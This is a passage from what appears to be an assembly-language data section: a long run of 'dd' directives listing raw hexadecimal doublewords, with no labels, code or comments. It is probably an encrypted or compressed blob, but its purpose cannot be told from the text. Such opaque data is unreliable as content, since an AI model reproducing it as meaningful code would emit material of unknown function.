80B2A080h, 897A42D8h dd 0C416A801h, 0D6AF6D13h, 0E672BDCh, 32FF389Eh, 0ADAA8DC0h dd 7F7117D2h, 2959980Fh, 0FF3E8036h, 5872F1FEh, 65393C7Ah dd 0DD32A8E1h, 9084247Eh, 7BB2A300h, 0B59BBCA7h, 27250040h dd 57CDDD01h, 0D8037F33h, 0A57547A2h, 0D5A6983Dh, 0ADF403DBh dd 5F0C96B5h, 72B1F7F0h, 0D0082507h, 20DF02C5h, 0FDEE5EE6h dd 0C0BCA0D3h, 711A0707h, 0F0C1CA6h, 58470AE0h, 40132487h dd 0C007E235h, 0FAD046C5h, 24DA1957h, 19414A7h, 9398A3A0h dd 999C24D7h, 5AF370Ah, 5100D4D9h, 0F447136Eh, 201B60B9h dd 0C7B3D04Ah, 0A87A7324h, 0C1762Dh, 0CC7E7C32h, 63000AFEh dd 0F8606B72h, 7DF0903h, 619EFFC3h, 0C66DF096h, 0E50EA50Ah dd 0C118A80Eh, 7AD535C4h, 0F5E430h, 1EB8C326h, 2998B0Bh dd 5214E17Bh, 0E8493Dh, 0A1A7481Ah, 469AB36h, 0E78857BFh dd 0FBDA04A4h, 0C0BADB85h, 0BECEE20h, 0FEC74A00h, 479F1C40h dd 74E74C91h, 0C2FB0073h, 97540FFAh, 1C00B643h, 0FE94538Eh dd 0E919F6h, 4D71315Eh, 0AAE51A3Ch, 0E87C042Bh, 0ED80EE9Eh dd 8F654CAEh, 3D4A90DDh, 0D200F4D1h, 0C6C8324Fh, 861494B0h dd 24E0F10Dh, 0DD823CFBh, 0A4C7AE56h, 98CD87DCh, 1F2A5830h dd 404EA379h, 0C7D125D3h, 5B00052Eh, 9F47724h, 5CFEB3h dd 2B305335h, 4F069DD0h, 758C563h, 20CAD866h, 8C9B4D8Bh dd 0BBF2F100h, 7FFBE0D0h, 94665900h, 0DBC43D0Ah, 231D61Ch dd 17E98567h, 761AF080h, 59008A65h, 6C256854h, 7578FEh dd 1C4E840Dh, 1855F716h, 0F48C481Ch, 0F062A740h, 840E1Bh dd 946EA498h, 4666EB38h, 140F58h, 8EFD364h, 11686E6h, 0B1725D58h dd 2002CCF7h, 18D62A98h, 21401Eh, 952BB4B9h, 0B601D305h dd 0EDE92EAAh, 0AC0C6AFh, 0A95100B0h, 4B54E31Eh, 2D00D2A4h dd 0D507731h, 0D30B07h, 0C4A736F2h, 0E18BFC90h, 4500217Eh dd 4FEEB08Ah, 0C038E8h, 985BCC1Dh, 55044389h, 0A4F5D414h dd 318103CCh, 886B0286h, 0E4214193h, 8D9000E3h, 852EE8C8h dd 0B200B487h, 2691FD19h, 5D24FFh, 0EBF2B861h, 0B58C1A4Fh dd 60D34E00h, 1745CEE6h, 0A631E24h, 0EAC89EA1h, 786A1CBCh dd 0D55B006Bh, 0E1C226A9h, 0E6CDC01h, 9C0FC363h, 0A66AC4h dd 8CCFF415h, 96C5AAA3h, 29FFE500h, 90563DB6h, 0F1E23FD2h dd 0A3374E80h, 0C9F55295h, 33E0F202h, 4090132Ah, 0E34273Ch dd 0F605A7C2h, 0B4C7E400h, 0AA005BD4h, 0B8E26FA2h, 0D2391Ch dd 97C09419h, 285E9C5Ch, 0B37D2000h, 1C57F9B5h, 90400036h dd 9C5A3738h, 9307596Dh, 0C47954EDh, 0C760A3E7h, 7BF55C68h dd 0D30C0BAh, 0F914A4D1h, 9094C400h, 0E256FB04h, 98F5FEF4h dd 96E17D4Ch, 6C9C8004h, 6481565Eh, 51061707h, 638068C6h dd 1E211E70h, 42D1FB89h, 319CCA87h, 0D0F17341h, 6A00E518h dd 53F49146h, 0C0DA9Bh, 1F2D5EA8h, 0B36264AEh, 0FD29F200h dd 383AA64Dh, 7942055Dh, 0C08E97A0h, 590F2F69h, 5AF7DA00h dd 0D201BDC3h, 0F1FC0091h, 0D6FDA0EBh, 5300F668h, 8C9E7E33h dd 4D875Eh, 1DAD1BDFh, 9BB82061h, 99075401h, 51D45A17h dd 160660ACh, 8C460067h, 4569D2F8h, 30ABF200h, 5F893E80h dd 0B0B60298h, 0C6CE3C20h, 0C0AD63C3h, 3F12285h, 90773B00h dd 2513C05Ah, 0CD271D0Fh, 0C25C71h, 0D866B9A9h, 0D7EC2987h dd 0E5072C90h dd 5BFB1054h, 5EC0A0ABh, 1C0A3667h, 808E4324h, 0BE782AA0h dd 0D800C66Fh, 634975BCh, 1CB5C1A1h, 0C2A813DDh, 204D666Eh dd 85D72CE0h, 0D5FA5Ch, 0B5052A02h, 9C24C563h, 20DF4000h dd 0F37B732Fh, 8BBAC200h, 4A95D16Ah, 1D67B21h, 745CB855h dd 0DDEB968Fh, 0F94701C5h, 0D66DC810h, 0F00B40B2h, 168AD4Dh dd 4F3B222Dh, 0BBE26430h, 0D99E806Ch, 23A02AA1h, 0B5565D0Bh dd 2280F5EEh, 0C6BDD324h, 9200A09Ah, 3628EDDAh, 0E42FF5Dh dd 0ACC701A2h, 60F39FA7h, 0A30953D8h, 9E08321Dh, 0A1A9F08Fh dd 0C6D620C4h, 70D834h, 746E404Bh, 10E7E2C2h, 46491D0Eh dd 366A60C1h, 0B364A4h, 56E0A12Fh, 214F5D7h, 0B2591900h dd 2A573807h, 87BD0062h, 6A374BA5h, 0AFF4232Fh, 864F5C03h dd 1188AAh, 0DA3EA640h, 0E3325189h, 86F5D00h, 53FC7648h dd 29F92662h, 33308494h, 77C701E3h, 1FE46408h, 0FD9C0757h dd 10F7B60Dh, 0E39A9128h, 70E00107h, 50022C0Ah, 0A0D8C33Fh dd 0F5DA47h, 0F1A083E7h, 58291A46h, 84A96B00h, 1650EE69h dd 37DC00ECh, 7BD4CA2Fh, 0B44BE54Fh, 6AAD1040h, 574E7CFh dd 774841A4h, 936887DCh, 0BFA0C32Fh, 0BB00E1F3h, 14C5BE4Fh dd 7CE5020h, 6C160ED3h, 0F10220A0h, 0BB0E04E2h, 7D5A4CBh dd 1DE0BECFh, 4C41FC6Dh, 89135AD9h, 0C6CCC0ADh, 0CEE47CA0h dd 13599212h, 3A50C4Bh, 98EB0E03h, 6999BCh, 39113598h dd 6D378B14h, 92F34B00h, 8EF156E9h, 0CCF0019Bh, 97137E85h dd 0BB41F067h, 0C08BF71Ch, 5C0A6100h, 0D99A82h, 46B23CFFh dd 792B811Eh, 12DFE402h, 0C02C01D1h, 985F54CBh, 17622F54h dd 20C27FE1h, 4A00F534h, 0E7CBAA64h, 0E51B9Ch, 1C7E787Ch dd 9D19F3A8h, 7C6DA326h, 0E4439109h, 0B7ED0214h, 107E163Dh dd 54DA8442h, 80A8D43Eh, 0FC0AE7D5h, 2576FAAh, 273F1CC1h dd 1C40B1D9h, 6094283Dh, 0CEE30700h, 0C77D7675h, 6083A0A0h dd 0BB36FD14h, 0B608F003h, 0D831B794h, 0B8E33B6Ah, 3FCE01ACh dd 0D6EDCFCAh, 0F393C07Fh, 6501E2B0h, 4D2A69AEh, 0F0409BB5h dd 94260EC3h, 0B7FC0094h, 723623BDh, 8033133Ah, 8FBCA49h dd 469F1Dh, 2F10CF17h, 0F51AD33Ah, 9D5E0D1Fh, 2B9D401Eh dd 0BFE95DDh, 34EF1ABh, 0B84556FCh, 0B59BBDh, 4D785E48h dd 0CD22DEC4h, 3F5CF45Ch, 8B1B0B9Ah, 9C80653Ch, 0FD1E0086h dd 4996E4Ch, 0F1593407h, 84B3EAC7h, 58F4B0A9h, 7B8F00A5h dd 0F7B5274Ah, 690BD066h, 8101AFE7h, 6773116Ch, 0E97CE8h dd 0BCB0C5D3h, 0DCF14650h, 267AAA00h, 0C4A1216Bh, 9D4900DDh dd 65E103ACh, 0A300BC77h, 1C615A16h, 0C33D56h, 454BDECAh dd 511D1EC0h, 721F1700h, 0C1BB34B5h, 0C3740330h, 8BCAE619h dd 7AF087BBh, 5000DFAFh, 9B7653C0h, 0A8D7543Eh, 7E0A03BCh dd 18B946h, 0AF661DBBh, 1003B84h, 6E472810h, 7734C92h dd 98F3C8F8h, 4557B0F5h, 0BB008532h, 18FBFAE5h, 600CF0h dd 0B4866F03h, 167CDA64h, 61C85516h, 5E712718h, 4EF50330h dd 0A7D4BA63h, 0C4C012CBh, 7A0954C1h, 0A0E55C85h, 8D6B91E4h dd 0CD2A07D9h, 0AE18C1C7h, 941F0E80h, 0A54D9E5Eh, 8C101DA4h dd 808F30B7h, 261C8A81h, 688560C9h, 4AF2AD20h, 0A710FF0Fh dd 1140610Bh, 3CD0A826h, 0E22900D8h, 41B6D109h, 0D9608C62h dd 0D48A54A9h, 385F07Ah, 325F12F4h, 600E29F5h, 40D22267h dd 10C7C516h, 81A460B5h, 138AE9B6h, 50995E28h, 70AD3800h dd 13F2364h, 9280439h, 80ABF3C6h, 57366D85h, 9E023004h dd 0C0FFEE55h, 8A47CDA5h, 0B05E660Bh, 89B78040h, 7FC642E1h dd 50A71E31h, 83940087h, 7EABBB16h, 965FA400h, 49A2B0D7h dd 0FBA7841h, 5BFE78F1h, 9C852DE9h, 9DB31DDEh, 0ABF541B6h dd 210EC01Ah, 0A01C24C9h, 429F1200h, 0ABA61C7Ah, 8E46561h dd 2BC845DCh, 5600AE10h, 5DCFD24Eh, 66030FD7h, 0FA402204h dd 289AC1D8h, 60DEE1FEh, 91DA1D86h, 240A4668h, 7A0AE516h dd 0B544343Ch, 9F142F43h, 55AFF4B0h, 0F8A4A854h, 0BE353Ah dd 5B67E6F9h, 55CBD1FDh, 4FF0D8DBh, 0B27118C5h, 2EF111ABh dd 1801A07Dh, 10D9C445h, 95D1C535h, 1B6B2180h, 0BF93AAA3h dd 7562B705h, 8C3EC60Ah, 203A9200h, 0E9EDD78Ch, 0C780FE01h dd 0FD7DF32Ah, 5209C8h, 0A2ABD828h, 9035D03Dh, 543080E9h dd 305E9E5h, 0ABB61D17h, 91B20109h, 0E0445D9Fh, 8B38ECCAh dd 30DA80E8h, 0FF023D11h, 5E50B022h, 73FEBC4Dh, 5CCFF901h dd 40A92FF5h, 1F9C83D6h, 627480A1h, 1A0F42Eh, 0D3ACC801h dd 60F1C1F8h, 30007B8h, 84B6F3B4h, 5BF03Eh, 1B8F5694h dd 85EB1D9Eh, 25324A00h, 0C9A08696h, 0B426008Bh, 7FF10156h dd 470FDC6Bh, 0E0E56F20h, 0DE6A15BEh, 0E4C70778h, 0E0AC535Eh dd 97A7099h, 80178E38h, 0A429D7F8h, 0D6C3CEh, 9A84DF91h dd 7BCBEE59h, 93AB5B00h, 9BE1BF8Fh, 82D000A2h, 0CCB616AEh dd 0C3002076h, 87F8F199h, 0E86C051Bh, 0E9240129h, 0F2340AD7h dd 0A359E889h, 56A68800h, 9DF9329Bh, 0DD573DCEh, 0AF00F14Ch dd 1BEEA52Bh, 0B0488408h, 0EA761F62h, 55DC0F9Dh, 80A52ACEh dd 0D2938537h, 0A473DEh, 1D67F0B2h, 0DCE7A3C1h, 182EB400h dd 383AA29Dh, 7AED1A0Ah, 415D15Ah, 6C538077h, 0E028A748h dd 247B452Bh, 608DCE50h, 0DCE210ACh, 130089A3h, 5FE3277Eh dd 0EC479BBh, 0CEEE2D16h, 28E8A9E6h, 42BF7722h, 3F7C212Bh dd 0C4763A42h, 0AA22841Fh, 11934215h, 6321A77Eh, 8810F008h dd 5988ACD7h, 847790A8h, 0B4A1E3Dh, 32082428h, 0D0107B29h dd 80F8911h, 0AF78A17Fh, 2A444808h, 60108423h, 0B3108F51h dd 9F280BDDh, 0A878026Eh, 4FDDC042h, 380BD4Ah, 7F871510h dd 266D0805h, 0C1EBDBC1h, 0D73772D3h, 0E91886B8h, 0FD8CE100h dd 7F238982h, 77A1011Dh, 8AB164EEh, 0A7CED827h, 1BA4E000h dd 71FDCFE1h, 0DFE483h, 994940A0h, 0EC86BE58h, 82B3D200h dd 0D362B0E1h, 261600BAh, 956F82Dh, 0D7164DDh, 4574A60Ch dd 8310F6h, 9912E297h, 5558D1A8h, 9C54C701h, 1C7CF35Dh dd 38156C8h, 0E7195249h, 809DCC2Fh, 3B593AC8h, 3CBDD4Ch dd 5E29F617h, 2490C4B1h, 348395Fh, 77A00E2Eh, 0B8D8E6E5h dd 6500CC32h, 0BC64DC69h, 1878D8CDh, 20E78637h, 8574FD60h dd 0AB34A326h, 47659906h, 0E4C30068h, 0D6FB06ADh, 3B7290DBh dd 8C500F81h, 0E0114C6h, 71408117h, 20EDFFE0h, 0D028FCDFh dd 0FD00E246h, 2425DCEEh, 1B7B3Fh, 829AA330h, 0EC2AF84Fh dd 96DD100Bh, 0A3A12FCBh, 839DE424h, 906588B7h, 6CD328E2h dd 179400B8h, 0D9176A3h, 0C4076F8Dh, 1213AB93h, 30371AD0h dd 26F900B6h, 0D36A6B5Fh, 8A1DD0B8h, 0C100EAEBh, 70753A09h dd 334617C5h, 0F03C00DFh, 0A8A70C38h, 14E563Eh, 0CAAFD441h dd 0C421CD1Ch, 1E27C7CCh, 0C037A63Bh, 0E116ABC0h, 33D84E9h dd 48680B94h, 1960808Ch, 7C93F45h, 0ADC69D3Bh, 53DC009Eh dd 890034F7h, 18CEA79h, 72DEE8E4h, 74C00C6h, 33CAFBDFh dd 2BFA921Fh, 8A4D2605h, 6EC0DB9Fh, 3EDAB4BAh, 0A0E02F2Ah dd 0F9523C41h, 88BB3B01h, 735AE491h, 90D6CCh, 8BADEA6Ch dd 0E33CE1A7h, 72419907h, 78E0DEDFh, 0C14A7669h, 259E5811h dd 7BC0EE17h, 0E603AC6Ah, 0C3AF11Dh, 0C49FEB59h, 0D8F92880h dd 4FC780DEh, 98B77A00h, 0DF4C919Bh, 0F6CC3F5Ch, 4FD8949Ch dd 0F207225Fh, 9031776Fh dd 0CEECE772h, 33455E02h, 8073D351h, 4A06BAC8h, 2C551299h dd 0F4440166h, 0F80F8691h, 101765B4h, 0F2003E14h, 2EFDA731h dd 0B6D01CA6h, 12734EC6h, 41D092DBh, 89001557h, 7838E4E2h dd 40CF04h, 817C60BAh, 8A866883h, 704E1612h, 23BB0800h dd 775475C4h, 49A11FCAh, 0A6AF0F58h, 57BE1360h, 8100C72Fh dd 8BFF7F62h, 0E7F7CB14h, 9F115DCh, 4ED0B25Fh, 4120D08Eh dd 317AC0B3h, 6F58700h, 28EC811Fh, 0B1E5000Ch, 0A6BDEFC5h dd 3002293h, 0FBB897FDh, 9BB2F8h, 7F19995Eh, 5620B0B7h dd 0B935EF04h, 0C0808549h, 1D58E0h, 9E98694Eh, 0FD4AAC8Ah dd 81DEF73Eh, 5AB52D36h, 0D9F15DC2h, 13BFBC20h, 0F3AB321h dd 0E1A05C44h, 248D9069h, 5800F7F6h, 75286DFCh, 60E3F10Eh dd 0ACEC2840h, 0E70E2F32h, 8029EF81h, 0A19A759h, 6773BDh dd 0FF541A0Dh, 4FC12115h, 278998C0h, 382E7FA0h, 9823BADh dd 6C5960AFh, 0E1D7E080h, 6F01FB25h, 12E990E2h, 9C20BAE8h dd 9F8B00A5h, 0C3327387h, 94006466h, 0A4376368h, 2261FB4h dd 74C7CF7Bh, 0EC84FCC8h, 2FC881A9h, 0E7880F4h, 0AAE39784h dd 63B8A1CFh, 8EB77080h, 0E9CE5B42h, 4011F280h, 8A4545D7h dd 90566FE4h, 49DE0038h, 8662D67Eh, 8C18FEF4h, 0C6485272h dd 0C7BF24Ch, 2F12B2C4h, 51074580h, 461BA2F2h, 0AD9D5E90h dd 0E66337C7h, 0BF9BA790h, 0EA71128Ch, 17B3F301h, 3BA7D659h dd 32AB834h, 8A87DD0Ch, 80AC7065h, 150AE0F4h, 4F002C7Ah dd 6BA8D358h, 0CB2D973h, 8FE393FDh, 0BB00C960h, 56F0ED33h dd 0B755F1h, 190BE428h, 915AE9B5h, 0CADA0303h, 0C5A6A558h dd 2747E81Dh, 7F10FBD3h, 3EC539Fh, 0E19C3907h, 2D90C134h dd 6700A75Ah, 56639927h, 0E2A3ACh, 98073CF2h, 738D64EBh dd 24AB83Fh, 0B6BCDA1h, 4141421Ah, 0CCC0C6F0h, 30C500F1h dd 2CFCD1B8h, 0E7FC942h, 63AE6F00h, 0CD98B61Ah, 0E6730004h dd 0E315BED5h, 0C4EE560Ch, 7C781B00h, 641102ACh, 81741Eh dd 0FC6A5122h, 0FEEEC632h, 0B6C87260h, 99926B9h, 0F26F0C40h dd 705D2C87h, 0A74561B0h, 38214830h, 98B695C2h, 0C073148Ah dd 68009C94h, 5B743729h, 0A30F3331h, 0C0DC836Ah, 0B267AAD7h dd 0B44F3C38h, 4062849Dh, 375CF60h, 0AF00E18Fh, 0D2E8362Bh dd 0EF41F8h, 0AE6886B3h, 214EE06Ah, 1F90E8E3h, 473DB87Ah dd 221987BCh, 7B90EB23h, 0B6DBF5h, 0C185D4Ah, 9242514Dh dd 5AA43002h, 0E0EBEC16h, 759734h, 0BCC8BA28h, 9DBD0E09h dd 80A5A603h, 0F8989EE6h, 1C0D5AA1h, 0C0C8E79Fh, 3228AABAh dd 50E2388h, 0A17E8626h, 0BF011FD8h, 3FD9A7C0h, 44839FF9h dd 98DE4D22h, 88E6C788h, 92D0AC00h, 0DBF8E452h, 1BC50043h dd 23DD3DF1h, 2A00E8DFh, 7FF6E3C9h, 0D7FEECh, 0B2850C45h dd 0ABB4175Ch, 26B6F40Eh, 9F3AC074h, 7E9583Dh, 6D95699Ah dd 0A08057B3h, 25F4C43Ch, 0AD8340Eh, 0B654206Fh, 18F98392h dd 10672D27h, 0F0004F5Ah, 0DB0B211Ah, 443EA5h, 0A4AFE92Ah dd 0A0B83A70h, 7CA94658h, 0AB54CF0Eh, 277EE0A1h, 6D852Eh dd 7943353Ah, 4119E3Bh, 393F9F30h, 0B15A03h, 7CDD5718h dd 76228799h, 0DA65100Bh, 0EAE58046h, 978E33h, 7431C7D1h dd 0FB6D370Ch, 89C6F303h, 0E8AF6E14h, 79F5B8Ch, 696F8F49h dd 37211030h, 8900946Ch, 8AC3B6A9h, 3EFD7953h, 0E880E9C4h dd 27E73DD7h, 8D1D51E4h, 0B70044EBh, 15093201h, 0FFF71F7Ch dd 3FFEC0BDh, 0FA9055C3h, 0E700F377h, 0CAA39FC5h, 99E111h dd 624A1615h, 0AAA31F2h, 95F3F0F5h, 7E4BF900h, 7C7F6C6Eh dd 9310C096h, 2C7282BEh, 0B3667100h, 527D1CABh, 0A40F0041h dd 9D34C8EEh, 1E00050Dh, 918D7523h, 19062DDh, 514F6E37h dd 80D3F81Ah, 0ADAFDAE6h, 3ABE0C1h, 0B255DD0Fh, 87EBB9DFh dd 66DC32B0h, 8BB8B502h, 0E01F6D74h, 75B0ECAh, 0AE44225Ch dd 0BE806F18h, 5D7EAFF7h, 81A7FF00h, 0AB91CA68h, 0E9BD0012h dd 0C389F84Bh, 533FCE5Fh, 3307FAB3h, 39358593h, 960000E9h dd 0E7D7137Bh, 3C06E840h, 0E6E1B8A2h, 6078002Ch, 99BDEECh dd 8E009859h, 0C7491850h, 2EC037h, 0EDF665F5h, 475C0CB9h dd 3E244A2Eh, 699B2D00h, 48A96F4Bh, 4612D639h, 0C0901E40h dd 14F58659h, 7E00A330h, 0B828647Ah, 0C3C29244h, 0ABB66E2Ah dd 5F39DFF8h, 0F304A200h, 45FD368Fh, 6C1900B4h, 0A4D031D7h dd 0DFF609BFh, 0F61B8D00h, 629CD63Ch, 68C100FFh, 48B4A1B7h dd 6B005D85h, 54BE8FFCh, 38E4EFF9h, 0FA089Bh, 71FEB2F6h dd 58E12103h, 1D2CC3Ah, 6EE719BAh, 7170B487h, 0C938037Bh dd 0C2579BF8h, 0FCE433C0h, 0AEB1E701h, 3B0397DBh, 716B0D8h dd 8F58AAFDh, 328CC352h, 0A3D13DB8h, 77D4B39h, 2F6C5E1h dd 0DB8342B0h, 31CE282Ah, 0D37E0098h, 0E380E8E5h, 6100C981h dd 96A2DB14h, 5CA9F827h, 8701D2ABh, 0E60CC765h, 0C534F40Dh dd 0CFAE7100h, 15B9C3AAh, 4BA7E9Ch, 2B2C1EBDh, 44FC807Fh dd 9878B3CCh, 0AC473C26h, 26C36A30h, 0C78200DEh, 1FD676AAh dd 0F10065D1h, 8CBFBB2Ah, 0CF96931h, 0AAE9D04h, 0FC0776CCh dd 474D368Bh, 0DC565030h, 0E3FE0110h, 0FB6572Dh, 329060FDh dd 227116F0h, 20E1CCEDh, 7DCB3E00h, 0BD86B4F0h, 0FD062895h dd 3D0C0EFh, 0F118686Ch, 57079609h, 5C0480B8h, 88F47Bh dd 0C2E467Ah, 2D9C7CD3h, 0D863D900h, 44A3AD67h, 0F5EB12E0h dd 0CC884E91h, 0DBD39060h, 0C7008F2Ch, 2363CB87h, 5DE909h dd 353B1008h, 0F3CECD80h, 0FCC4DB00h, 97D1C7F9h, 0D2C13C8h dd 175B007Eh, 98F26905h, 3882E49h, 183BB58Eh, 0A191F022h dd 187160B1h, 0EE855F87h, 15D17801h, 0C7C09A89h, 1CFBA020h dd 40A2B039h, 3C238DF0h, 280098C8h, 496A22D5h, 1ED386FBh dd 0E8B1437Eh, 0F0D24CD8h, 0A570AB00h, 11CC3EA3h, 0BCDA7314h dd 0A63200B7h, 624C5AB7h, 16700031h, 0C82A4D23h, 420B837Ch dd 8EBF60B9h, 0E7C7A0D7h, 1F6AA88h, 0FE017F94h, 71DBA15Ah dd 0A833E895h, 19007A70h, 100918C9h, 1EE6FFD0h, 80847DA3h dd 699F3428h, 9314BA1Ch, 0B4037Fh, 3A15B39Bh, 0F822DA5Fh dd 18752420h, 945B00B0h, 62950F2Ch, 0E02AD528h, 0B6A45100h dd 0DCE89C8Eh, 436E0012h, 13F175EDh, 254CB160h, 564D0010h dd 0BCD6F584h, 871C0011h, 265A2ADh, 150C8FDDh, 285DC06Ch dd 33FF169Eh, 1FF00EFh, 7DB8AEA7h, 90C5AB1Fh, 75371EC0h dd 0B258236Ah, 0AC250048h, 0D92CC0B6h, 0F8F493AFh, 0E0160A00h dd 5BA7CFBEh, 0A66D0023h, 0C31FBB0Eh, 0AE003F72h, 2B6E4758h dd 48CBE569h, 0D705BD8Ch, 3BB83Eh, 0DDA510B1h, 0D92C026Bh dd 0C0807873h, 9C8C807Bh, 35AD3E32h, 368E9600h, 5DA6013Ch dd 0D4977E2Ch, 0CF57F705h, 6E92C60Fh, 586E2169h, 51F8BD1Eh dd 0AC7F01FDh, 3596C27Ah, 5A2860A4h, 0F1C90A00h, 8934E5ADh dd 73FC1419h, 2E008841h, 769748CCh, 0A3025CBDh, 0CA959DE2h dd 0E5D340EBh, 8D530088h, 0D7BC2F0Dh, 2A60339Fh, 1204CE0Ch dd 0FD1C03DDh, 0DA03E407h, 0C5B801F8h, 0A40C948h, 0FCBE086Dh dd 0A81B4F00h, 4A6849h, 39DCB114h, 589C13A4h, 0C6BB910Eh dd 5EB7E07Fh, 0DA6644h, 53B0035Bh, 54D725ADh, 2F902000h dd 0DC4D3EC6h, 0F15600ABh, 0AC623728h, 980934A7h, 1764FCh dd 440E2464h, 24E49276h, 0B3C8D7Bh, 8C8EAD38h, 74695E80h dd 20C0559Ch, 0D79F28C8h dd 0E7871F7h, 6E180D3Ah, 59E515E0h, 87033C0Ch, 42C945F6h dd 48C290E3h, 0FF3B00DBh, 0E20B473h, 5500AD0Ah, 0F64A5112h dd 28922A4h, 0A18AB83Bh, 7CC5A81Fh, 32772200h, 2E8B3EBCh dd 3E6C3103h, 110A4601h, 0CCD83760h, 4060BD21h, 872B4DA0h dd 76A70216h, 7F6662B2h, 108B7C60h, 0F2454B09h, 0D5800123h dd 80509CB7h, 1743D729h, 235D76CCh, 3E9BBCD8h, 6B9C94F0h dd 116D4900h, 3752320Eh, 7A729Ah, 0C93CB37Dh, 364A51Fh dd 0FB02ECB8h, 6F98859Ch, 5B20600Ah, 0AF1E0FB8h, 0DB408A1Bh dd 4809413Fh, 32811A00h, 5AB69596h, 0E92A0C74h, 7EC043C3h dd 6413FD00h, 7007EC08h, 45CD0032h, 0A6A17B9Ah, 9E0018BAh dd 8D7EC2BEh, 127D6987h, 72DE5Bh, 2CAC41C5h, 0B7003C2Dh dd 515407D3h, 90DA9548h, 399D0030h, 7A4D7E89h, 0D0E12D2h dd 20B8B6A8h, 0BE4234E1h, 0A6100CD3h, 14304118h, 3B8CCF00h dd 66FA9631h, 64BB0055h, 8A61B515h, 5A00DB24h, 51A8D418h dd 0FD81030Ah, 7792E3F4h, 0CB8A0098h, 7CD9066Bh, 58507DAFh dd 7A1E08D0h, 6F4166E5h, 0DA9B46F4h, 7511E4h, 4C6D85F6h dd 7F16553Ch, 0CCD9BB26h, 4F9B6F80h, 0E280FBh, 0E04A55Ch dd 729EEDB7h, 2B5B2C00h, 0BC9FB4D3h, 191E0065h, 27D939E6h dd 181E6310h, 0B4C1E1CBh, 1B7C4A5Ah, 0B44142EDh, 0E024A5CAh dd 0DCC00094h, 0E69989FEh, 11EA6D87h, 0E15FAD00h, 3BC17B1Fh dd 3CF00B5h, 0E31AC9F6h, 3803E879h, 0A0F36BE9h, 2283B8C7h dd 49B4A868h, 3BD5427Ch, 18CEB0E5h, 1B527FFh, 72B449C4h dd 0C2ACE964h, 86C01C40h, 4E68C807h, 48C0FF12h, 3945A990h dd 758777C5h, 0E06A42A0h, 0BAD057D3h, 677E1B00h, 0A944DDEDh dd 638E0119h, 0A6219F97h, 0D27820BBh, 8FD3D8FDh, 80FC58h dd 41E6A70h, 0DC9085h, 5183718Eh, 0F50278E8h, 1693B3Bh dd 0FA24B29Dh, 0BF60B3BCh, 0F0A800A1h, 0CD0C9E3Ah, 1902A449h dd 6978C530h, 0AA9CE04Fh, 71630044h, 6D6F5788h, 100979FCh dd 8089D147h, 43AFC6F4h, 50B1041Bh, 0C0757A3Ah, 0F28C7E90h dd 0DE5EB400h, 26254A12h, 93520435h, 806C44A5h, 5ABEA8C0h dd 0F82B9707h, 3A307645h, 9837CE46h, 0C820700h, 60AFF2C5h dd 40168B3Fh, 25EEF000h, 286332DCh, 53EA14B8h, 0A9009A56h dd 7D2FF6FFh, 0BC00DB85h, 9F3B06C3h, 2D11A5h, 0FD41D01Bh dd 0B2EB0A79h, 81092700h, 0DF6F6AFFh, 0A43D58BBh, 0FEA13504h dd 3F18C106h, 95B2D04Ch, 2A87B900h, 22627E91h, 8FB60069h dd 5095C84h, 81006A21h, 59152B1Bh, 828C02h, 0F4AAB037h dd 55F51001h, 79EDCB01h, 0BF638197h, 8CBDCCh, 0AD0B5D83h dd 0DA1C53DBh, 6A92F300h, 372FD1A7h, 3BC90FDh, 1BA455BAh dd 1001FC6Fh, 83115B1Ch, 9680D5C1h, 9EC91364h, 0A90EB03Ch dd 4118A816h, 4934B145h, 4840CE21h, 730554A7h, 32DF2810h dd 0AE9C48E8h, 0B383FE00h, 182FF379h, 74AA8900h, 0C619A29Ah dd 4B00042h, 77E550E9h, 1A0F7D84h, 42B4E114h, 0C0793D57h dd 0ED3148h, 0BB21BC56h, 0AB8F3F53h, 81781300h, 3CEBE57Bh dd 0B45C00DAh, 629CB919h, 0BD079602h, 0FA5A296Dh, 72C5BB02h dd 0E56E00Ch, 0BD903B1h, 0AEBDB341h, 0EE2BE43Fh, 0FC53F50Fh dd 456040F6h, 7BAC4Ah, 7903848h, 345069EFh, 79CB2E3Fh dd 0CD83B401h, 49915B9Ah, 0A8878047h, 0F53641B1h, 7042D0FCh dd 0E0D90FA3h, 0F040CDF8h, 2E5DC6DBh, 5F497800h, 0AB07C829h dd 0A3930120h, 888BE75Ah, 52947497h, 8074C13Ch, 0A738B02Ah dd 51A6C6h, 0A280EFCEh, 99363CD9h, 0A8228100h, 4F5783D3h dd 42B600CAh, 0E0D02E18h, 0DB006801h, 6ABBEAE7h, 0C1DDB16Ch dd 0A2F461A8h, 6478E693h, 1DFC1138h, 39407B2Fh, 358D70CAh dd 0EBE0328h, 996518DCh, 0DDE3800h, 562CB8D5h, 42540068h dd 0D6F96CCAh, 5F0F9153h, 66B15E13h, 304685h, 0CB154D63h dd 0F14C55AFh, 823CD600h, 52F947DBh, 333B0774h, 109DBFA2h dd 0B6AE1072h, 5004353Bh, 68002480h, 0AB16E1F4h, 94A9AC69h dd 1B2F071Ch, 0B26B70C6h, 0E0902D76h, 0D94F9F00h, 0B4F41D5Fh dd 0BE363A75h, 0CDE00700h, 97C6AC51h, 0E9DA6C01h, 5E500A9Bh dd 2C43FC70h, 0B634001h, 8382B534h, 8040A631h, 98ECFE38h dd 137DEF14h, 0CE9A00B1h, 544B7AB6h, 757746h, 49A7B10Ah dd 32938907h, 64687C07h, 9B40A483h, 170B47Eh, 0CB873BCh dd 0D494BFD9h, 0B003A3AEh, 0D79A6BF6h, 71F8042h, 4B9B1C34h dd 409D00E0h, 2FBC4305h, 54C6871Ch, 257DD500h, 0B448C20h dd 0ACF54CB4h, 0AE6C34A0h, 4200DE6Fh, 223A7A9Eh, 2481A18Dh dd 26BFB1Ah, 0F6CAE1F1h, 11F32FC0h, 12533Fh, 225548E6h dd 90702B86h, 0A6E09Bh, 0E58540A5h, 0E4DB0AF7h, 0FE324D00h dd 0D3977216h, 9E8105CDh, 8054F355h, 7E98940Ch, 2D87CC1Dh dd 0F82C90A5h, 0AA1B00C4h, 4567E362h, 0DE8B168h, 93000AB8h dd 0AFB4E061h, 4BDC6AF7h, 43BC0A7Fh, 6E8B00CAh, 0BBE291C0h dd 0CA17B70Bh, 856F8054h, 0D466A0h, 0DF59EA6Ah, 7CD22F81h dd 0C930C503h, 0B85AFEBEh, 0CEB43Ah, 173C8BAh, 6B4FCCF4h dd 0B001DF0h, 0DFD1E3C5h, 72C255h, 0C4ABCD45h, 0B7871AB8h dd 0CF34271Eh, 9DEE6C0h, 0BA515CB9h, 0E88E00FCh, 0BF08A801h dd 6300752Bh, 9F30E1E9h, 21041Bh, 0F6AE4BF3h, 0BD62747Ch dd 27A30800h, 